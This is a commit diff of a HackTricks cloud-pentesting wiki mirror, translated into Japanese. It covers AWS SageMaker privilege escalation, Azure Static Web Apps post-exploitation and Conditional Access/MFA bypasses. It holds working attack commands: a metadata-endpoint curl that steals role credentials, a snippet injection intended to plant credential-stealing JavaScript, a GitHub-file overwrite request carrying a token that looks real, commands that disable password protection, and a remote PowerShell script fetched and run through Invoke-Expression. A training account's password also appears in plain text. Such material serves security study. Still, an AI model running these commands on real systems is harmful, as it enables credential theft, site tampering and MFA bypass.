mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 14:13:20 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -6,18 +6,18 @@
|
||||
|
||||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
IAMロールを使用してノートブックを作成し始めます。
|
||||
IAMロールを使用して、添付されたノートブックを作成し始めます:
|
||||
```bash
|
||||
aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
レスポンスには `NotebookInstanceArn` フィールドが含まれており、これは新しく作成されたノートブックインスタンスのARNを含みます。次に、`create-presigned-notebook-instance-url` APIを使用して、ノートブックインスタンスが準備完了次第アクセスするためのURLを生成できます。
|
||||
`NotebookInstanceArn` フィールドが含まれている必要があり、これは新しく作成されたノートブックインスタンスの ARN を含みます。次に、`create-presigned-notebook-instance-url` API を使用して、ノートブックインスタンスが準備完了次第アクセスするための URL を生成できます。
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
ブラウザでURLに移動し、右上の \`Open JupyterLab\` をクリックします。次に、「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。
|
||||
ブラウザでURLに移動し、右上の \`Open JupyterLab\` をクリックし、次に「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。
|
||||
|
||||
これで、IAMロールのメタデータ資格情報にアクセスすることが可能です。
|
||||
|
||||
@@ -45,14 +45,14 @@ aws sagemaker create-processing-job \
|
||||
# In my tests it took 10min to receive the shell
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
|
||||
```
|
||||
**潜在的影響:** 指定されたsagemakerサービスロールへの権限昇格。
|
||||
**潜在的な影響:** 指定されたsagemakerサービスロールへの権限昇格。
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、**ロールが添付された**状態になります。したがって、攻撃者はそのロールの資格情報を盗むことができます。
|
||||
これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、そのジョブに**ロールを添付**することができます。したがって、攻撃者はそのロールの資格情報を盗むことができます。
|
||||
|
||||
> [!WARNING]
|
||||
> このシナリオは、攻撃者がリバースシェルや資格情報を直接送信するDockerイメージを生成する必要があるため、前のシナリオよりも悪用が難しいです(トレーニングジョブの設定で開始コマンドを指定することはできません)。
|
||||
> このシナリオは、前のものよりも悪用が難しいです。なぜなら、リバースシェルや資格情報を攻撃者に直接送信するDockerイメージを生成する必要があるからです(トレーニングジョブの設定で開始コマンドを指定することはできません)。
|
||||
>
|
||||
> ```bash
|
||||
> # Dockerイメージを作成
|
||||
@@ -95,9 +95,9 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
その権限を持つ攻撃者は(潜在的に)**ハイパーパラメータトレーニングジョブ**を作成し、**任意のコンテナ**をそれに**ロールを付けて**実行できる可能性があります。\
|
||||
&#xNAN;_I 時間がないために悪用していませんが、以前の悪用と似ているようです。悪用の詳細を含むPRを送信してください。_
|
||||
_時間がなかったため、私はこの脆弱性を悪用していませんが、以前の悪用と似ているように見えます。悪用の詳細を含むPRを送信しても構いません。_
|
||||
|
||||
## 参照
|
||||
## 参考文献
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
|
||||
@@ -0,0 +1,162 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
このサービスに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
静的ウェブページが任意のHTMLコードを読み込むようにスニペットを作成することが可能です。これにより、攻撃者がウェブアプリ内にJSコードを注入し、資格情報やメモリニックキー(web3ウォレット内)などの機密情報を盗むことができます。
|
||||
|
||||
以下のコマンドは、ウェブアプリによって常に読み込まれるスニペットを作成します::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### 設定されたサードパーティの資格情報を読み取る
|
||||
|
||||
App Service セクションで説明したように:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
次のコマンドを実行することで、現在のアカウントに設定されている**サードパーティの資格情報**を読み取ることができます。たとえば、別のユーザーに設定されているGithubの資格情報がある場合、別のユーザーからトークンにアクセスすることはできません。
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
このコマンドは、Github、Bitbucket、Dropbox、およびOneDriveのトークンを返します。
|
||||
|
||||
ここにトークンを確認するためのいくつかのコマンド例があります:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### ファイルの上書き - ルート、HTML、JSの上書き...
|
||||
|
||||
Azureを通じてアプリを含むGithubリポジトリ内の**ファイルを上書きすることが可能です**。これは、上書きするファイルのパス、ファイルの内容、コミットメッセージを示すリクエストを送信する**Githubトークン**を使用して行います。
|
||||
|
||||
攻撃者はこれを悪用して、基本的に**ウェブアプリの内容を変更**し、悪意のあるコンテンツを提供する(資格情報、ニーモニックキーを盗む...)か、単に**特定のパスを自分のサーバーに再ルーティング**するために`staticwebapp.config.json`ファイルを上書きすることができます。
|
||||
|
||||
> [!WARNING]
|
||||
> 攻撃者が何らかの方法でGithubリポジトリを侵害した場合、彼らはGithubから直接ファイルを上書きすることもできることに注意してください。
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
この権限を使用すると、静的ウェブアプリを保護する**パスワードを変更**したり、次のようなリクエストを送信することで、すべての環境の保護を解除することができます:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
この権限は、静的アプリの**APIキーデプロイメントトークン**を取得することを許可します。
|
||||
|
||||
このトークンは、アプリをデプロイすることを可能にします。
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
次に、アプリを更新するには、以下のコマンドを実行できます。このコマンドは、**how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**を確認して抽出されたもので、Azureがデフォルトで使用するものです。したがって、画像やパラメータは将来的に変更される可能性があります。
|
||||
|
||||
1. リポジトリをダウンロードします [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(またはデプロイしたい他のリポジトリ)し、`cd react-basic`を実行します。
|
||||
2. デプロイしたいコードを変更します。
|
||||
3. 次のコマンドを実行してデプロイします(`<api-token>`を変更することを忘れないでください):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
この権限を使用すると、**静的ウェブアプリのソースを別のGithubリポジトリに変更することが可能ですが、これは通常、アクションを認証したトークンを使用してGithub Actionから行う必要があるため、自動的にはプロビジョニングされません。このトークンはリポジトリのGithubシークレット内で自動的に更新されることはなく(アプリが作成されるときに自動的に追加されるだけです)。**
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
この権限を持つことで、**静的ウェブアプリのAPIキーをリセットする**ことが可能になり、アプリを自動的にデプロイするワークフローをDoS攻撃する可能性があります。
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,62 +4,62 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
Azure Conditional Accessポリシーは、特定の**条件**に基づいてAzureサービスやアプリケーションへのアクセス制御を強制するためにMicrosoft Azureで設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
|
||||
Conditional accessポリシーは基本的に**誰が**、**何に**、**どこから**、**どのように**アクセスできるかを**定義**します。
|
||||
Azure Conditional Access ポリシーは、特定の **条件** に基づいて Azure サービスおよびアプリケーションへのアクセス制御を強制するために Microsoft Azure に設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
|
||||
Conditional access policies は基本的に **誰が** **何に** **どこから** **どのように** アクセスできるかを **定義** します。
|
||||
|
||||
いくつかの例を挙げます:
|
||||
|
||||
1. **サインインリスクポリシー**:このポリシーは、サインインリスクが検出された場合に多要素認証(MFA)を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からログインしている場合、システムは追加の認証を求めることができます。
|
||||
2. **デバイスコンプライアンスポリシー**:このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみがAzureサービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスを許可することができます。
|
||||
1. **サインインリスクポリシー**: このポリシーは、サインインリスクが検出された場合に多要素認証 (MFA) を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からログインしている場合、システムは追加の認証を求めることができます。
|
||||
2. **デバイスコンプライアンスポリシー**: このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみが Azure サービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスを許可することができます。
|
||||
|
||||
## Conditional Accessポリシーのバイパス
|
||||
## Conditional Access Policies Bypasses
|
||||
|
||||
Conditional accessポリシーが**簡単に改ざんできる情報をチェックしている可能性があり、ポリシーのバイパスが可能です**。たとえば、ポリシーがMFAを設定している場合、攻撃者はそれをバイパスできるでしょう。
|
||||
条件付きアクセス ポリシーが **簡単に改ざんできる情報をチェックしている可能性があり、ポリシーをバイパスできる** ことがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。
|
||||
|
||||
Conditional accessポリシーを設定する際には、**影響を受けるユーザー**と**ターゲットリソース**(すべてのクラウドアプリなど)を指定する必要があります。
|
||||
条件付きアクセス ポリシーを設定する際には、**影響を受けるユーザー** と **ターゲットリソース** (すべてのクラウドアプリなど) を指定する必要があります。
|
||||
|
||||
また、ポリシーを**トリガー**する**条件**を設定する必要があります:
|
||||
また、ポリシーを **トリガー** する **条件** を設定する必要があります:
|
||||
|
||||
- **ネットワーク**:IP、IP範囲、地理的位置
|
||||
- VPNやプロキシを使用して許可されたIPアドレスからログインすることでバイパス可能
|
||||
- **Microsoftリスク**:ユーザーリスク、サインインリスク、内部者リスク
|
||||
- **デバイスプラットフォーム**:任意のデバイスまたはAndroid、iOS、Windows Phone、Windows、macOS、Linuxを選択
|
||||
- 「任意のデバイス」が選択されていないが他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
|
||||
- **クライアントアプリ**:オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSyncクライアント」、「その他のクライアント」
|
||||
- 選択されていないオプションでログインをバイパス
|
||||
- **デバイスフィルター**:使用されるデバイスに関連するルールを生成可能
|
||||
- **認証フロー**:オプションは「デバイスコードフロー」と「認証転送」
|
||||
- **ネットワーク**: IP、IP 範囲、地理的位置
|
||||
- VPN またはプロキシを使用して、許可された IP アドレスからログインすることでバイパス可能
|
||||
- **Microsoft リスク**: ユーザーリスク、サインインリスク、内部者リスク
|
||||
- **デバイスプラットフォーム**: 任意のデバイスまたは Android、iOS、Windows Phone、Windows、macOS、Linux を選択
|
||||
- 「任意のデバイス」が選択されていないが、他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
|
||||
- **クライアントアプリ**: オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSync クライアント」、「その他のクライアント」
|
||||
- 選択されていないオプションでログインをバイパスする
|
||||
- **デバイスのフィルタ**: 使用されるデバイスに関連するルールを生成可能
|
||||
- **認証フロー**: オプションは「デバイスコードフロー」と「認証転送」
|
||||
- これは、攻撃者がフィッシング攻撃で被害者のアカウントにアクセスしようとしない限り、影響を与えません
|
||||
|
||||
可能な**結果**は:ブロックまたはアクセスを許可し、MFAを要求するなどの条件が付く可能性があります…
|
||||
可能な **結果** は次のとおりです:ブロックまたはアクセスを許可し、MFA を要求する、デバイスが準拠している必要があるなどの条件が付くことがあります…
|
||||
|
||||
### デバイスプラットフォーム - デバイス条件
|
||||
|
||||
**デバイスプラットフォーム**(Android、iOS、Windows、macOSなど)に基づいて条件を設定することが可能ですが、これは**ユーザーエージェント**に基づいているため、バイパスが容易です。すべてのオプションでMFAを強制しても、**認識されないユーザーエージェント**を使用すれば、MFAまたはブロックをバイパスできます:
|
||||
**デバイスプラットフォーム** (Android、iOS、Windows、macOS...) に基づいて条件を設定することが可能ですが、これは **ユーザーエージェント** に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、**認識されないユーザーエージェントを使用すれば、** MFA またはブロックをバイパスできます:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ブラウザに**不明なユーザーエージェント**(例:`Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)を送信させるだけで、この条件をトリガーしないようにできます。\
|
||||
開発者ツールでユーザーエージェントを**手動で**変更できます:
|
||||
ブラウザに **不明なユーザーエージェント** (例: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) を送信させるだけで、この条件をトリガーしないようにできます。\
|
||||
開発者ツールでユーザーエージェントを **手動で** 変更できます:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 または、[このようなブラウザ拡張機能](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)を使用できます。
|
||||
または、[このようなブラウザ拡張機能](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)を使用できます。
|
||||
|
||||
### ロケーション:国、IP範囲 - デバイス条件
|
||||
### ロケーション: 国、IP 範囲 - デバイス条件
|
||||
|
||||
これが条件付きポリシーに設定されている場合、攻撃者は**許可された国**で**VPN**を使用するか、**許可されたIPアドレス**からアクセスする方法を見つけることで、これらの条件をバイパスできます。
|
||||
これが条件付きポリシーに設定されている場合、攻撃者は **許可された国** で **VPN** を使用するか、**許可された IP アドレス** からアクセスする方法を見つけることで、これらの条件をバイパスできます。
|
||||
|
||||
### クラウドアプリ
|
||||
|
||||
特定のアプリにアクセスしようとするユーザーに対して、MFAをブロックまたは強制する**条件付きアクセスポリシーを設定することが可能です**:
|
||||
特定のアプリにアクセスしようとするユーザーに対して、MFA をブロックまたは強制するように **条件付きアクセス ポリシーを設定することが可能です**:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるかどうか**を確認する必要があります。\
|
||||
ツール[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)は、**ハードコーディングされた数十のアプリケーションID**を持ち、それらにログインしようとし、成功した場合はトークンを提供します。
|
||||
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるかどうかを確認する必要があります**。\
|
||||
ツール [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) は **ハードコーディングされた数十のアプリケーション ID** を持ち、それらにログインしようとし、成功した場合はトークンを提供します。
|
||||
|
||||
特定のリソースで**特定のアプリケーションIDをテストする**ために、次のようなツールを使用することもできます:
|
||||
特定のリソース内の **特定のアプリケーション ID をテストするために**、次のようなツールを使用することもできます:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
@@ -69,20 +69,20 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
|
||||
|
||||
ツール [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。
|
||||
|
||||
ツール [**ROPCI**](https://github.com/wunderwuzzi23/ropci) もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは **ホワイトボックス** の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
|
||||
ツール [**ROPCI**](https://github.com/wunderwuzzi23/ropci) もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは**ホワイトボックス**の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
|
||||
|
||||
## その他の Az MFA バイパス
|
||||
## その他のAz MFAバイパス
|
||||
|
||||
### 着信音
|
||||
|
||||
Azure MFA のオプションの一つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**`#`の文字を送信するように求められます**。
|
||||
Azure MFAのオプションの1つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**文字 `#` を送信するように求められます**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#`のトーン**を設定し、その後、MFAを要求する際に**被害者の電話が通話中であることを確認**(電話をかける)して、Azureの通話がボイスメールにリダイレクトされるようにすることができます。
|
||||
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#` のトーン**を設定し、その後MFAを要求する際に**被害者の電話が通話中であることを確認**することで、Azureの通話がボイスメールにリダイレクトされるようにすることができます。
|
||||
|
||||
### 準拠デバイス
|
||||
|
||||
ポリシーはしばしば準拠デバイスまたはMFAを要求するため、**攻撃者は準拠デバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスする**ことができます。
|
||||
ポリシーはしばしば準拠デバイスまたはMFAを要求するため、**攻撃者は準拠デバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスすることができます**。
|
||||
|
||||
まず、**Intuneに準拠デバイスを登録**し、その後**PRTを取得**します:
|
||||
```powershell
|
||||
@@ -106,7 +106,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
このスクリプトは、いくつかのユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。
|
||||
|
||||
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインする際にMFAが**必要ないかどうかを確認するのに役立ちます。
|
||||
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインするためにMFAが**必要ないかどうかを確認するのに役立ちます。
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
@@ -116,7 +116,7 @@ roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweepは、提供された資格情報を使用して**さまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定の構成によっては、一部のプロトコルが単一要素のままになる可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
|
||||
MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のまま残る可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
@@ -135,20 +135,20 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントや、2FA対応のMicrosoftポータルをテストするための機能のセットです。
|
||||
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントや、2FAが有効なMicrosoftポータルのテストを行うための機能のセットです。
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します:
|
||||
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します:
|
||||
```powershell
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセス用のトークンが要求されます:
|
||||
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセスのためのトークンが要求されます:
|
||||
```powershell
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# Az - Static Web Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Static Web Apps 基本情報
|
||||
|
||||
Azure Static Web Appsは、**GitHubなどのリポジトリからの自動CI/CDを備えた静的Webアプリをホスティングするためのクラウドサービス**です。グローバルなコンテンツ配信、サーバーレスバックエンド、組み込みのHTTPSを提供し、安全でスケーラブルです。しかし、リスクには、誤って構成されたCORS、不十分な認証、コンテンツの改ざんが含まれ、適切に管理されないとXSSやデータ漏洩などの攻撃にさらされる可能性があります。
|
||||
|
||||
> [!TIP]
|
||||
> Static Appが作成されると、**デプロイメント認証ポリシー**として**デプロイメントトークン**と**GitHub Actionsワークフロー**の間で選択できます。
|
||||
|
||||
|
||||
### Web App 認証
|
||||
|
||||
Web Appにアクセスするために**パスワードを設定する**ことが可能です。Webコンソールでは、ステージング環境のみを保護するか、ステージングと本番の両方を保護するように設定できます。
|
||||
|
||||
執筆時点でのパスワード保護されたWebアプリの外観は次のとおりです:
|
||||
|
||||
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
**どのパスワードが使用されているか**、およびどの環境が保護されているかを確認することができます:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
|
||||
```
|
||||
しかし、これは**パスワードを平文で表示しません**。代わりに、次のようなものが表示されます: `"password": "**********************"`。
|
||||
|
||||
### ルート
|
||||
|
||||
ルートは、静的ウェブアプリ内で**受信HTTPリクエストがどのように処理されるか**を定義します。**`staticwebapp.config.json`**ファイルで構成されており、URLの書き換え、リダイレクト、アクセス制限、およびロールベースの認証を制御し、適切なリソースの処理とセキュリティを確保します。
|
||||
|
||||
いくつかの例:
|
||||
```json
|
||||
{
|
||||
"routes": [
|
||||
{
|
||||
"route": "/",
|
||||
"rewrite": "/index.html"
|
||||
},
|
||||
{
|
||||
"route": "/about",
|
||||
"rewrite": "/about.html"
|
||||
},
|
||||
{
|
||||
"route": "/api/*",
|
||||
"allowedRoles": ["authenticated"]
|
||||
},
|
||||
{
|
||||
"route": "/admin",
|
||||
"redirect": "/login",
|
||||
"statusCode": 302
|
||||
}
|
||||
],
|
||||
"navigationFallback": {
